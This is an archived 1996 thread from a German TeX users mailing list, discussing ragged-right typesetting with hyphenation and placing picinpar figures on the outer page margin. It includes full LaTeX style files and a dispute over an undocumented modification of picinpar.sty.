(me, guest) gnu@ftp.uni-stuttgart.de (work of conviction) http://geobar.mpch-mainz.mpg.de/~walter (smiling face) From owner-tex-d-l@VM.GMD.DE Sun Apr 14 23:31:35 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Marion Neubauer Date: Sun, 14 Apr 1996 23:31:03 +0200 Subject: raggedright hallo, ich habe ein problem mit dem \raggedright-befehl. es scheint die trennung abzuschalten. ich suche eine modifikation, die trennungen erlaubt, oder einen anderen befehl, der einen text von ca. 50 seiten mit aufzaehlungen etc. folgendermassen aussehen laesst: blablabla blablabla laber laber laber blubber blubber blu- ber blubber blubber also am rechte rand einen "gemaessigten" flattersatz. hat jemand eine idee? fuer einen tip waere ich dankbar. gruss marion neubauer ----------------------- Marion Neubauer Psychologisches Institut Sonderforschungsbereich 245 Universitaet Heidelberg Sprache und Situtation Hauptstr. 47-51 Tel. +49/6221/54-7267 D-69117 Heidelberg Fax +49/6221/54-7703 From owner-tex-d-l@VM.GMD.DE Mon Apr 15 07:49:38 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille Date: Mon, 15 Apr 1996 07:45:34 +0200 Subject: Bilder immer aussen Guten Morgen LaTeX-Experten, ich m"ochte mittels des picinpar-Paketes Bilder in einem doppelseitigen Dokument immer au"sen auf dem Blatt erscheinen lassen. Ich habe das folgenderma"sen versucht (in einem *.sty-File (@!)): \newtoks\Side \ifodd\c@page \Side={r}\else\Side={l}\fi \begin{figwindow}{2,\the\Side,... Leider klappt das nur *oft* aber nicht immer und ich habe noch keine Regelm"a"sigkeit herausgefunden, wann es nicht klappt. Das Problem ist also f"ur einen Absatz die Seitennummer herauszufinden, auf der er tats"achlich gedruckt wird. Bei picinpar-Bildern handelt es sich ja nicht um floats. Stilfrage: Ist das stilistisch "uberhaupt gut, oder sollte man die Bilder (es handelt sich stets um Fotos der gleichen Gr"o"se) immer links/rechts auf der Seite oder immer innen erscheinen lassen. F"ur schnelle Hilfe w"are ich sehr dankbar Andreas. From owner-tex-d-l@VM.GMD.DE Mon Apr 15 08:48:48 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Rainer Sieger Date: Mon, 15 Apr 1996 07:48:38 U Subject: RaggedRight RaggedRight > ich habe ein problem mit dem \raggedright-befehl. > es scheint die trennung abzuschalten. > ich suche eine modifikation, die trennungen erlaubt, oder einen anderen > befehl, versuch mal RaggedRight von Martin Schroeder. ftp.dante.de/pub/tex/macros/latex209/contrib/raggedright Diese Package laueft bei mir ganz ausgezeichnet auch unter LaTeX2e. Gruss Rainer -------------------------------------------------------------------- Alfred-Wegener-Institut fuer Telefon: 0471/4831-206 Polar- und Meeresforschung Fax: 0471/4831-149 Dr. Rainer Sieger e-mail: rsieger@awi-bremerhaven.de Postfach 12 01 61 ftp: ftp.awi-bremerhaven.de 27515 Bremerhaven From owner-tex-d-l@VM.GMD.DE Mon Apr 15 12:42:58 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Rainer Sieger Date: Mon, 15 Apr 1996 11:32:58 U Subject: RaggedRight RaggedRight > versuch mal RaggedRight von Martin Schroeder. >ftp.dante.de/pub/tex/macros/latex209/contrib/raggedright > Diese Package laueft bei mir ganz ausgezeichnet auch unter > LaTeX2e. > > vielen dank fuer > den tip. leider bekomme ich beim aufruf von latex install eine > fehlermeldung. ich haenge sie dir als attachment an. koenntest du mir ev. > deinen sty schicken, ich braeuchte ihn naemlich dringend. Aendere zunaechst die ersten Zeilen in raggtest.tex in: \documentclass{article} \usepackage{multicol} \usepackage{raggedright} Warum sich das Paket nicht installieren laesst hat Martin mir mal erklaert. Ich habs aber vergessen. Daher die lauffaehige Version hier in dieser Mail. Zur Not laesst sich auch raggedri.doc in raggedright.sty umbenennen. %% %% This is file `raggedri.sty', generated %% on <1995/4/25> with the docstrip utility (2.2i). %% %% The original source files were: %% %% raggedri.doc (with options: `style') %% %% This file is part of the raggedright package. %% ----------------------------------------- %% %% Copyright (C) 1993 by Martin Schr{\accent "7F o}der. All rights reserved. %% %% You are not allowed to change this file. %% %% IMPORTANT NOTICE: %% %% You are not allowed to change this file. You may however copy %% this file to a file with a different name and then change the copy %% if you obey the restrictions on file changes described in readme.msb. %% %% You are NOT ALLOWED to distribute this file alone. You are NOT %% ALLOWED to take money for the distribution or use of this file (or %% a changed version) except for a nominal charge for copying etc. %% %% You are allowed to distribute this file under the condition that %% it is distributed together with all files mentioned in readme.rr. %% %% If you receive only some of these files from someone, complain! %% %% However, if these files are distributed by established suppliers %% as part of a complete TeX distribution, and the structure of the %% distribution would make it difficult to distribute the whole set %% of files, *those parties* are allowed to distribute only some of %% the files provided that it is made clear that the user will get a %% complete distribution-set upon request to that supplier (not me). %% Notice that this permission is not granted to the end user. %% %% %% For error reports in case of UNCHANGED versions see readme.rr %% \def\fileversion{V 1.00} \def\filedate{930406} \def\docdate{930407} %% \CharacterTable %% {Upper-case \A\B\C\D\E\F\G\H\I\J\K\L\M\N\O\P\Q\R\S\T\U\V\W\X\Y\Z %% Lower-case \a\b\c\d\e\f\g\h\i\j\k\l\m\n\o\p\q\r\s\t\u\v\w\x\y\z %% Digits \0\1\2\3\4\5\6\7\8\9 %% Exclamation \! Double quote \" Hash (number) \# %% Dollar \$ Percent \% Ampersand \& %% Acute accent \' Left paren \( Right paren \) %% Asterisk \* Plus \+ Comma \, %% Minus \- Point \. Solidus \/ %% Colon \: Semicolon \; Less than \< %% Equals \= Greater than \> Question mark \? %% Commercial at \@ Left bracket \[ Backslash \\ %% Right bracket \] Circumflex \^ Underscore \_ %% Grave accent \` Left brace \{ Vertical bar \| %% Right brace \} Tilde \~} %% \wlog{Substyle `RaggedRight'. \fileversion\space<\filedate>} \newlength{\RaggedRightRightskip} \newlength{\RaggedRightLeftskip} \newlength{\RaggedRightParindent} \newlength{\RaggedRightSpaceskip} \newlength{\RaggedRightXspaceskip} \setlength{\RaggedRightRightskip}{0pt plus 2em} \setlength{\RaggedRightLeftskip}{0pt} \setlength{\RaggedRightParindent}{0pt} \setlength{\RaggedRightSpaceskip}{.3333em} \setlength{\RaggedRightXspaceskip}{.5em} \newcommand{\RaggedRight}{% \ifx\\ \@normalcr% \let\\=\@centercr% \else% \fi% \setlength{\@rightskip}{\RaggedRightRightskip}% \setlength{\rightskip}{\@rightskip}% \setlength{\spaceskip}{\RaggedRightSpaceskip}% \setlength{\xspaceskip}{\RaggedRightXspaceskip}% \setlength{\leftskip}{\RaggedRightLeftskip}% \setlength{\parindent}{\RaggedRightParindent}% } \newenvironment{FlushLeft}{% \begin{trivlist}% \RaggedRight\item[]% }{% \end{trivlist}% } \endinput %% %% End of file `raggedri.sty'. From owner-tex-d-l@VM.GMD.DE Mon Apr 15 14:17:48 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Mon, 15 Apr 1996 14:15:42 +0200 Subject: Re: Bilder immer aussen "J%org Knappen, Mainz" schreibt : Meines Wissens ist es unm"oglich (jedenfalls ohne die Output-Routine von ^^^^^^^^^^ : LaTeX v"ollig neu zu schreiben) eine vollautomatische L"osung f"ur das : Problem anzugeben. nana, nichts ist unmoeglich. Wenn man mit `deferred \write'-Anweisungen die Seitennummern fuer jede Abbildung auf eine Datei schreibt (z.B. die aux-Datei), dann kann man es auch ohne Aenderung der \output-Routine... man hat aber dann immer noch mehrere Durchlaeufe, die aber, solange der Bildausschnitt und damit der Text gleichbleiben, sogar konvergieren muessten. Diese Information ueber Seitennummern kann man z.B. schon jetzt mittels \label und \pageref erledigen, wobei \pageref leider kein Integer (= Seitenzahl) liefert, sondern noch einige nicht expandierbare Anteile drumherum, sodass ein \ifodd\pageref{...} __nicht__ funktionieren wird (mal ganz davon abgesehen, dass das `label' im ersten Durchlauf undefiniert ist). -bernd From owner-tex-d-l@VM.GMD.DE Mon Apr 15 14:07:15 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" Date: Mon, 15 Apr 1996 13:48:42 +0100 Subject: Re: Bilder immer aussen Meines Wissens ist es unm"oglich (jedenfalls ohne die Output-Routine von LaTeX v"ollig neu zu schreiben) eine vollautomatische L"osung f"ur das Problem anzugeben. Dies liegt daran, da\3 LaTeX immer erst ein St"uck der n"achsten Seite schon gesetzt hat, bevor es entscheidet, wohin der Seitenumbruch fallen soll. Obendrein kann LaTeX diese Entscheidung auch noch revidieren, so da"s manchmal Randnoten auf der falschen Seite des Textes erscheinen. In diesen F"allen ist manuelle Nachhilfe n"otig. --J"org Knappen From owner-tex-d-l@VM.GMD.DE Tue Apr 16 07:25:37 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Gundolf Frank Date: Tue, 16 Apr 1996 06:59:00 +0200 Subject: Bilder immer aussen Hallo Andreas, Du meintest am 15.04.96 um 06:45 im Brett /MAUS/TeX-D-L zum Thema "Bilder immer aussen": > ich m"ochte mittels des picinpar-Paketes Bilder in einem doppelseitigen > Dokument immer au"sen auf dem Blatt erscheinen lassen. Ich habe das > folgenderma"sen versucht (in einem *.sty-File (@!)): ich habe mal das gleiche Problem gehabt und den Style PicInPar umgeschrieben, so wie hier schon gesagt wurde. Hier h¢ng den Style mal unten an. Es wurden nur drei Routinen erweitert: --------------------- Begin ------------------------- % This is picinpar.sty % Macros for making windows with LaTeX % % By Friedhelm Sowa, Heinrich-Heine-University D\"usseldorf, % Computing Center % In case of emergency try to get the email adress % after having checked the input :-) % Okay, for those who are too lazy: % tex@ze8.rz.uni-duesseldorf.de % sowa@convex.rz.uni-duesseldorf.de % % Incorporated are basic ideas of Alan Hoenig (Thanks Alan!) % Thanks to Phil Taylor, who gave some useful hints during his % tutorial at the EURO TeX 92 in Prague. % % Also thanks to Ulrik Vieth, who incorporated the macros for % generating captions within the windows. % % Here we go % % Counts \newcount\br \newcount\bl \newcount\na \newcount\nb \newcount\tcdsav \newcount\tcl \newcount\tcd \newcount\tcn \newcount\cumtcl \newcount\cumpartcl % Dimens \newdimen\lftside \newdimen\rtside \newdimen\hpic \newdimen\vpic \newdimen\strutilg \newdimen\picwd \newdimen\topheight \newdimen\ilg \newdimen\lpic \newdimen\cumpar % Tokens \newtoks\twa \newtoks\la \newtoks\ra \newtoks\ha \newtoks\pictoc % Boxes \newbox\rawtext \newbox\holder \newbox\windowbox \newbox\wartext \newbox\finaltext \newbox\aslice \newbox\bslice \newbox\wbox \newbox\wstrutbox \newbox\picbox \newbox\waslice \newbox\wbslice \newbox\fslice % Another strut \def\wstrut{\relax\ifmmode\copy\wstrutbox\else\unhcopy\wstrutbox\fi} % \long\def\window[#1,#2,#3,#4] {% % #1 is an integer---no. of lines down from par top % #2 is l, r or c what means left, right or centered % default is, that the picture is printed at the left side % #3 is the material for setting a graphic box % #4 is the explanation for the graphic \vskip\parskip \global\cumpar=0pt \global\cumpartcl=0 \global\cumtcl=0 \tcd=#1 \lftside=0pt \rtside=0pt % \hpic=\linewidth \twa={} \la={} \ra={} \ha={} \setbox\wbox=\hbox{(} \computeilg \pictoc={#3} \setbox\windowbox=\vbox{\hbox{#3}} \setbox\wbox=\vbox{\hbox{\noindent#4}} \picwd=\wd\windowbox \hpic=\picwd \vpic=\ht\windowbox\advance\vpic\dp\windowbox \if #2c\lftside=\linewidth\advance\lftside-\picwd\rtside=0.5\lftside \lftside=\rtside \else \if #2r\lftside=\linewidth\advance\lftside-\picwd \rtside=0pt \else\rtside=\linewidth\advance\rtside-\picwd \lftside=0pt \fi \fi % % In case of a centered picture, that does not allow text beside % we have to add some glue between preceding text, window and % following text. % \if #2c \ifdim\rtside<72pt \rtside=0pt\lftside=0pt \setbox\windowbox=\vbox{% \hrule width\picwd height0pt depth0pt \vskip.5\parskip\box\windowbox\vskip.5\parskip \hrule width\picwd height0pt depth0pt} \vpic=\ht\windowbox\advance\vpic\dp\windowbox \fi \parskip0pt % Within the window area a \parskip>0pt may look ugly \fi \ifnum\picwd=0\setbox\picbox=\vbox{\hbox{\noindent#4}} % without picture \hpic=\wd\picbox % calculate dimensions \ifnum\lftside=0\rtside=\linewidth\advance\rtside-\hpic \else\ifnum\rtside=0\lftside=\linewidth\advance\lftside-\hpic \else\rtside=0.5\linewidth\advance\rtside-0.5\hpic \lftside=\rtside \fi\fi \else\setbox\picbox=\vbox{\hsize=\hpic\vbox to\vpic{\box\windowbox\vfill}% \ifdim\ht\wbox>0pt\offinterlineskip\vskip\ilg\vbox{\hsize=\hpic\noindent#4 % % See above, this is the second part of glue % \if #2c \ifdim\rtside=0pt \ifdim\lftside=0pt \vskip\parskip\hrule width\hpic height0pt depth0pt \fi \fi \fi } \fi}\fi \vpic=\ht\picbox\advance\vpic\dp\picbox \ifdim\lftside>0pt\advance\lftside-0.5\baselineskip\fi % put in a distance \ifdim\rtside>0pt\advance\rtside-0.5\baselineskip\fi % between text and % window \global\br=\rtside \global\bl=\lftside \ifnum\picwd=0 \ifdim\vpic>0pt\picwd=\hpic \else\vpic=\ht\picbox\advance\vpic\dp\picbox \fi \fi \global\tcl=0 \lpic=0pt \loop\global\advance\tcl by 1 \lpic=\tcl\baselineskip \ifdim\lpic<\vpic\repeat \vpic=\lpic \global\cumtcl=\tcl % % Here we know exactly the number of indented lines and % are able to generate the tokens for the \parshape list % \ifnum\bl>0\la={ 0pt \lftside}\fi \ifnum\br>0\ra={ 0pt \rtside}\fi \ifnum\tcd>0\ha={ 0pt \linewidth}\fi \ifnum\tcl<1\global\tcl=1\fi \createparshapespec \tcd=#1 % restore the lintel \global\tcdsav=#1 % % This is a very tricky part of the package. Some day there % will exist a detailed documentation. % \ifdim\parskip>0pt \def\par{\hfill\vadjust{\vskip0pt\vbox to\parskip{\vss}} \global\advance\cumpartcl by 1 \global\advance\cumpar by \parskip \global\lpic=\ht\wstrutbox \global\advance\lpic by \dp\wstrutbox \ifdim\cumpar<\lpic \else\advance\cumpar by -\lpic \advance\cumtcl by -1 \fi \egroup\global\tcd=\tcdsav \setbox\wartext=\vbox{\unvbox\rawtext} \setbox\rawtext=\vbox\bgroup \clubpenalty=0\widowpenalty=0 \tolerance=1000 \global\lpic=\ht\wstrutbox \global\advance\lpic by \dp\wstrutbox % % Pick up header lines % \ifnum\tcd>0\vbadness=10000\splittopskip0pt \loop\setbox\holder=\vsplit\wartext to \lpic \hpic=\wd\holder\prune\holder\hpic \ifdim\ht\holder=\parskip \hbox{\vrule height\parskip width0pt depth0pt} \message{A paragraph ended within headlines! Please change } \message{the number of headlines for the window environment!} \global\advance\tcd by -1 \else\hbox{\vbox{\box\holder\unskip}} \global\advance\tcd by -1 \fi \ifnum\tcd>0\repeat \global\tcd=0 \ifdim\ht\wartext>0pt \ifdim\ht\wartext=\parskip\global\advance\tcdsav by 1 \setbox\holder=\vsplit\wartext to \lpic \hbox{\vrule height\parskip width0pt depth0pt} \global\advance\cumpar by -\parskip \global\advance\cumpartcl by -1 \fi\fi \fi % % Pick up lines beside window, the rest too % \global\tcn=0 \topheight=0pt \ifdim\ht\wartext>0pt\vbadness=10000\splittopskip0pt \loop\setbox\holder=\vsplit\wartext to \lpic \hpic=\wd\holder\prune\holder\hpic \ifdim\ht\holder=\parskip \hbox{\vrule height\parskip width0pt depth0pt} \global\advance\topheight by \parskip \else \setbox\fslice=\hbox{\box\holder} \hpic=\ht\fslice \advance\hpic by\dp\fslice \ifdim\hpic>\lpic \global\advance\topheight by\hpic \hbox{\vbox{\box\fslice\vss}} \else\ifdim\hpic=0pt\relax \else\global\advance\topheight by \lpic \hbox{\vbox{\box\fslice}}\fi\fi \fi \ifdim\ht\wartext>0pt\repeat \tcn=0 \loop\advance\tcn by 1 \advance\topheight by -\lpic \ifdim\topheight>0pt\repeat \hpic=\topheight \ifdim\hpic<0pt\advance\tcn by -1\fi \global\topheight=\tcn\lpic \fi % % If the indented part is not completed we have to generate a % new token for the \parshape list % \ifnum\tcn<\cumtcl \global\tcl=\cumtcl \global\advance\topheight by\cumpartcl\parskip \global\advance\tcl by -\tcn \global\twa={} \ifnum\tcl>0 \global\vpic=\topheight \global\topheight=\tcl\lpic \global\advance\vpic by \topheight \global\advance\vpic by \lpic \createparshapespec \parshape=\tcn \the\twa \else\parshape=0 \fi \else\parshape=0\fi} \else\def\par{\\} \fi % new definition of \par in case of \parskip>0 ends here % % This is where we start to pick up the paragraph(s) % \setbox\rawtext=\vbox\bgroup\unvbox\rawtext\unskip \clubpenalty=0\widowpenalty=0 \tolerance=1000 \parshape=\tcn \the\twa } % \def\endwindow{% \global\tcd=\tcdsav \egroup\vskip\parskip\parshape=0 % reset parshape; end \box\rawtext \vbadness=10000 \splittopskip=0pt % % Typeset the lines above the window % \ifnum\tcd>0\setbox\holder=\vsplit\rawtext to \tcd\baselineskip \tcn=\tcd \loop\advance\tcn -1 \setbox\fslice=\vsplit\holder to\baselineskip \prune\fslice\linewidth \topheight=0pt \ifnum\dp\fslice>\dp\wstrutbox \advance\topheight-\dp\fslice \advance\topheight\dp\wstrutbox \advance\topheight\ilg\fi \hbox to\linewidth{\box\fslice} \vskip-\topheight \ifdim\ht\holder>0pt\repeat \fi % % Now we build the boxes beside the window % \global\topheight=\tcl\baselineskip \ifnum\cumpartcl>0\global\tcl=\cumtcl \global\topheight=\vpic \fi \ifnum\bl>0\ifnum\br>0\multiply\topheight by 2\fi\fi \ifnum\bl>0\setbox\holder=\vsplit\rawtext to\topheight \else\ifnum\br>0\setbox\holder=\vsplit\rawtext to\topheight\fi\fi \tcn=\tcl \na=0 \nb=0 \ifnum\bl>0\ifnum\br>0\multiply\tcn by 2\fi\fi \ifnum\bl>0\na=\tcn\ifnum\br>0\divide\na by 2\fi\fi \ifnum\br>0\nb=\tcn\ifnum\bl>0\divide\nb by 2\fi\fi \ifnum\na=0\ifnum\nb=0 \setbox\waslice=\vbox to\vpic{\vss} \setbox\wbslice=\vbox to\vpic{\vss} \bl=1\br=1 \vskip\ilg \fi\fi % % both sides % \ifnum\na>0 \ifnum\nb>0 \loop\advance\nb -1 \advance\na -1 \setbox\aslice=\vsplit\holder to\baselineskip \prune\aslice\lftside \setbox\waslice=\vbox{\unvbox\waslice\hbox to\lftside{\box\aslice\hfil}} \setbox\bslice=\vsplit\holder to\baselineskip \prune\bslice\rtside \setbox\wbslice=\vbox{\unvbox\wbslice\hbox to\rtside{\box\bslice\hfil}} \ifnum\nb>0\repeat \fi\fi % % only text on the left side % \ifnum\na>0 \loop\advance\na -1 \setbox\aslice=\vsplit\holder to\baselineskip \prune\aslice\lftside \setbox\waslice=\vbox{\unvbox\waslice\hbox to\lftside{\box\aslice\hfil}} \ifdim\ht\holder>0pt\repeat \fi % % only text on the right side % \ifnum\nb>0 \loop\advance\nb -1 \setbox\bslice=\vsplit\holder to\baselineskip \prune\bslice\rtside \setbox\wbslice=\vbox{\unvbox\wbslice\hbox to\rtside{\box\bslice\hfil}} \ifdim\ht\holder>0pt\repeat \fi % % fixing the dimensions of the window part % \ifnum\bl=0\topheight=\ht\wbslice \else\ifnum\br=0\topheight=\ht\waslice \else\ifdim\ht\waslice>\ht\wbslice\topheight=\ht\waslice \else\topheight=\ht\wbslice\fi\fi\fi % % ship out the window material to the main vertical list % \setbox\windowbox=\vbox{\hbox to\linewidth{% \ifnum\bl>0\box\waslice\hfill\fi% \vbox to\topheight{\hrule width\picwd height0pt depth0pt\vskip0pt% \vfill\unvbox\picbox% \ifnum\picwd>0\vfill\fi% \vss}\ifnum\br>0\hfill\box\wbslice\fi}}% \unvbox\windowbox% \loop \setbox\bslice=\vsplit\rawtext to\baselineskip \prune\bslice\linewidth \setbox\wbslice=\vbox{\hbox to\linewidth{\box\bslice\hfil}} \unvbox\wbslice \ifdim\ht\rawtext>0pt \repeat }% FINITO % % What else do we need? % \def\prune#1#2{ % take a \vbox containing a single \hbox, % \unvbox it, and cancel the \lastskip % put in a \hbox of width #2 \unvbox#1 \setbox#1=\lastbox % \box#1 now is an \hbox \ifdim\ht#1=\parskip \setbox#1=\hbox to#2{\vrule height\parskip depth0pt width0pt\hfill} \else\ifdim\ht#1=0pt\relax \else\setbox#1=\hbox to#2{\wstrut\unhbox#1\unskip}\fi\fi} % % Here the token \twa is generated. % It's not so difficult as it looks like. % \def\createparshapespec{% \global\tcn=0 \ifnum\bl>0\global\tcn=\tcl\else\ifnum\br>0\global\tcn=\tcl\fi\fi \na=0 \nb=0 \ifnum\bl>0\ifnum\br>0\multiply\tcn by 2\fi\fi \ifnum\bl>0\na=\tcn\ifnum\br>0\divide\na by 2\fi\fi \ifnum\br>0\nb=\tcn\ifnum\bl>0\divide\nb by 2\fi\fi \global\advance\tcn by\tcd \global\advance\tcn by1 \ifnum\tcd>0 \loop\twa=\expandafter{\the\twa\the\ha}\advance\tcd -1 \ifnum\tcd>0\repeat \fi \ifnum\bl>0 \ifnum\br>0 \loop\twa=\expandafter{\the\twa\the\la}\advance\na -1 \twa=\expandafter{\the\twa\the\ra}\advance\nb -1 \ifnum\na>0\repeat \fi\fi \ifnum\na>0 \loop\twa=\expandafter{\the\twa\the\la}\advance\na -1 \ifnum\na>0\repeat \fi \ifnum\nb>0 \loop\twa=\expandafter{\the\twa\the\ra}\advance\nb -1 \ifnum\nb>0\repeat \fi \global\twa=\expandafter{\the\twa 0pt \the\linewidth}} % \def\computeilg{% compute the interline glue \tcl=0\ilg=0pt\strutilg=0pt \loop\setbox\wbox=\hbox{\char\tcl} \ifdim\ht\wbox>\ilg\ilg=\ht\wbox\fi \ifdim\dp\wbox>\strutilg\strutilg=\dp\wbox\fi \advance\tcl by 1 \ifnum\tcl<128\repeat \ht\wbox=\ilg \dp\wbox=\strutilg \global\ilg=\baselineskip \global\advance\ilg-\ht\wbox \global\advance\ilg-\dp\wbox \strutilg=\ht\wbox \advance\strutilg by\ilg \setbox\wstrutbox=\hbox{\vrule height\strutilg depth\dp\wbox width0pt}} % % frames % \def\framepic#1{\vbox{% \hsize\expandafter\wd\csname #1box\endcsname \advance\hsize .8pt \hrule% \hbox to\hsize% {\vrule\hfill\vbox to\expandafter\ht\csname #1box\endcsname{% \expandafter\box\csname #1box\endcsname }\hfill\vrule}\hrule\vss}} % \def\wframepic#1{\vbox{% \hsize\expandafter\wd\csname #1box\endcsname \advance\hsize 3.8pt\hrule% \hbox to\hsize% {\vrule\hfill\vbox{\kern1.5pt% \expandafter\box\csname #1box\endcsname \kern1.5pt}\hfill\vrule}\hrule\vss}} % % caption % \def\winstepcounter#1{\global\advance\csname c@#1\endcsname 1 {\let\@elt\@stpelt \csname cl@#1\endcsname}} \def\winrefstepcounter#1{\winstepcounter{#1}\let\@tempa\protect \def\protect{\noexpand\protect\noexpand}% \edef\@currentlabel{\csname p@#1\endcsname\csname the#1\endcsname}% \let\protect\@tempa} \def\wincaption{\winrefstepcounter\@captype \@dblarg{\@wincaption\@captype}} \long\def\@wincaption#1[#2]#3{\par\addcontentsline{\csname ext@#1\endcsname}{#1}{\protect\numberline{\csname the#1\endcsname}{\ignorespaces #2}}\begingroup \@parboxrestore \normalsize \@makewincaption{\csname fnum@#1\endcsname}{\ignorespaces #3}\par \endgroup} \long\def\@makewincaption#1#2{% \setbox\@tempboxa\hbox{\footnotesize{\bf #1:\enspace}{#2}}% \ifdim\wd\@tempboxa>\picwd {\footnotesize{\bf #1:\enspace}{#2\par}}% \else \hbox to\picwd{\hfil\box\@tempboxa\hfil} \fi} % Orginal %\long\def\figwindow[#1,#2,#3,#4] {% % \advance\c@figure -1 % \begin{window}[#1,#2,{#3},{\def\@captype{figure}% % \wincaption{#4}}] } % %\long\def\tabwindow[#1,#2,#3,#4] {% % \advance\c@table -1 % \begin{window}[#1,#2,{#3},{\def\@captype{table}% % \wincaption{#4}}] } % Anfang der Ab¢nderung \def\labelpic#1{% \@bsphack% \if@filesw % {% \let\thepage\relax% \def\protect{\noexpand\noexpand\noexpand}% \edef\@tempaa{% \write\@auxout{\string\@ifundefined{c@#1}{\string\newcounter{#1}}{}}% \write\@auxout{\string\setcounter{#1}{\thepage}}% }% \expandafter}\@tempaa% \if@nobreak% \ifvmode% \nobreak% \fi% \fi% \fi% \@esphack% } \newcounter{@bildnrz} \newcounter{@bildnrzz} \newcounter{@bildnrzzz} \setcounter{@bildnrz}{0} \setcounter{@bildnrzz}{1} \setcounter{@bildnrzzz}{1} \long\def\figwindow[#1,#2,#3,#4] {% \vspace{-1.5ex}% \advance\c@figure -1% \def\zwparameter{#2}% \def\test{a}% \ifx\test\zwparameter% \addtocounter{@bildnrz}{1}% \ifnum\c@@bildnrz>26% \setcounter{@bildnrz}{1}% \addtocounter{@bildnrzz}{1}% \ifnum\c@@bildnrzz>26% \setcounter{@bildnrzz}{1}% \addtocounter{@bildnrzzz}{1}% \fi% \fi% \@ifundefined{c@@bild\alph{@bildnrzzz}\alph{@bildnrzz}\alph{@bildnrz}}% {\newcounter{@bild\alph{@bildnrzzz}\alph{@bildnrzz}\alph{@bildnrz}}% \setcounter{@bild\alph{@bildnrzzz}\alph{@bildnrzz}\alph{@bildnrz}}{\value{page}}% }{}% \ifodd\value{@bild\alph{@bildnrzzz}\alph{@bildnrzz}\alph{@bildnrz}}% \begin{window}[#1,r,{#3\labelpic{@bild\alph{@bildnrzzz}\alph{@bildnrzz}\alph{@bildnrz}}},{\def\@captype{figure}% \wincaption{#4}}] % \else% \begin{window}[#1,l,{#3\labelpic{@bild\alph{@bildnrzzz}\alph{@bildnrzz}\alph{@bildnrz}}},{\def\@captype{figure}% \wincaption{#4}}] % \fi% \else% \begin{window}[#1,#2,{#3},{\def\@captype{figure}% \wincaption{#4}}] % \fi% } \long\def\tabwindow[#1,#2,#3,#4] {% \vspace{-1.5ex}% \advance\c@figure -1% \def\zwparameter{#2}% \def\test{a}% \ifx\test\zwparameter% \addtocounter{@bildnrz}{1}% \ifnum\c@@bildnrz>26% \setcounter{@bildnrz}{1}% \addtocounter{@bildnrzz}{1}% \ifnum\c@@bildnrzz>26% \setcounter{@bildnrzz}{1}% \addtocounter{@bildnrzzz}{1}% \fi% \fi% \@ifundefined{c@@bild\alph{@bildnrzzz}\alph{@bildnrzz}\alph{@bildnrz}}% {\newcounter{@bild\alph{@bildnrzzz}\alph{@bildnrzz}\alph{@bildnrz}}% \setcounter{@bild\alph{@bildnrzzz}\alph{@bildnrzz}\alph{@bildnrz}}{\value{page}}% }{}% \ifodd\value{@bild\alph{@bildnrzzz}\alph{@bildnrzz}\alph{@bildnrz}}% \begin{window}[#1,r,{#3\labelpic{@bild\alph{@bildnrzzz}\alph{@bildnrzz}\alph{@bildnrz}}},{\def\@captype{table}% \wincaption{#4}}] % \else% \begin{window}[#1,l,{#3\labelpic{@bild\alph{@bildnrzzz}\alph{@bildnrzz}\alph{@bildnrz}}},{\def\@captype{table}% \wincaption{#4}}] % \fi% \else% \begin{window}[#1,#2,{#3},{\def\@captype{table}% \wincaption{#4}}] % \fi% } % Ende der Erweiterung \def\endfigwindow{\end{window}} \def\endtabwindow{\end{window}} \endinput -------------------- end ------------------------- Wie Du siehst, habe ich noch den Parameter fðr rechts (r) links (l) einen fðr immer au±en (a) eingefðgt. Frag' mich bitte aber zur Zeit nichts weiter genaueres, da ich den Patch ca. 1993 geschrieben habe. Ich wollte ihn damals verêffentlichen und auf Dante legen, aber Friedhlem Sowa hatte sich bei mir nicht gemeldet. Aber falls Du es wðnschst, kann ich mich ja nocheinmal hineindenken. > \newtoks\Side > \ifodd\c@page \Side={r}\else\Side={l}\fi Ist doch fast so ¢hnlich. Ich wðnsche noch einen schênen Resttag Gundolf From owner-tex-d-l@VM.GMD.DE Tue Apr 16 11:31:34 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Luzia Dietsche - Secretary DANTE e.V." Date: Tue, 16 Apr 1996 11:31:01 +0200 Subject: Re: Bilder immer aussen Gundolf Frank (gundolf@adfc.tng.oche.de) schrieb am 16.4.1996, 06:59:00 > ich habe mal das gleiche Problem gehabt und den Style PicInPar > umgeschrieben, so wie hier schon gesagt wurde. Hier hãng den Style mal > unten an. Es wurden nur drei Routinen erweitert: > > --------------------- Begin ------------------------- > % This is picinpar.sty > % Macros for making windows with LaTeX > % > % By Friedhelm Sowa, Heinrich-Heine-University D\"usseldorf, > % Computing Center > % In case of emergency try to get the email adress > % after having checked the input :-) > % Okay, for those who are too lazy: > % tex@ze8.rz.uni-duesseldorf.de > % sowa@convex.rz.uni-duesseldorf.de > % > % Incorporated are basic ideas of Alan Hoenig (Thanks Alan!) > % Thanks to Phil Taylor, who gave some useful hints during his > % tutorial at the EURO TeX 92 in Prague. > % > % Also thanks to Ulrik Vieth, who incorporated the macros for > % generating captions within the windows. > % > % Here we go [...] hm. _so_ ist das aber nicht in ordnung. hier ist nirgends vermerkt, dass und welche aenderungen an dem original von friedhelm von wem und wann vorgenommen worden sind. das ist gegenueber friedhelm, den anwendern und den betreuern, die fragen beantworten muessen, extrem unfair. > Wie Du siehst, habe ich noch den Parameter fÆr rechts (r) links (l) einen > fÆr immer auÉen (a) eingefÆgt. Frag' mich bitte aber zur Zeit nichts > weiter genaueres, da ich den Patch ca. 1993 geschrieben habe. Ich wollte > ihn damals verªffentlichen und auf Dante legen, aber Friedhlem Sowa hatte > sich bei mir nicht gemeldet. nichtsdestotrotz haette mehr als die lapidaren hinweise 'original' und 'aenderung' rein gemusst. ich hoffe, diese version des makros wurde nicht auf den server gelegt. mit freundlichen gruessen luzia dietsche 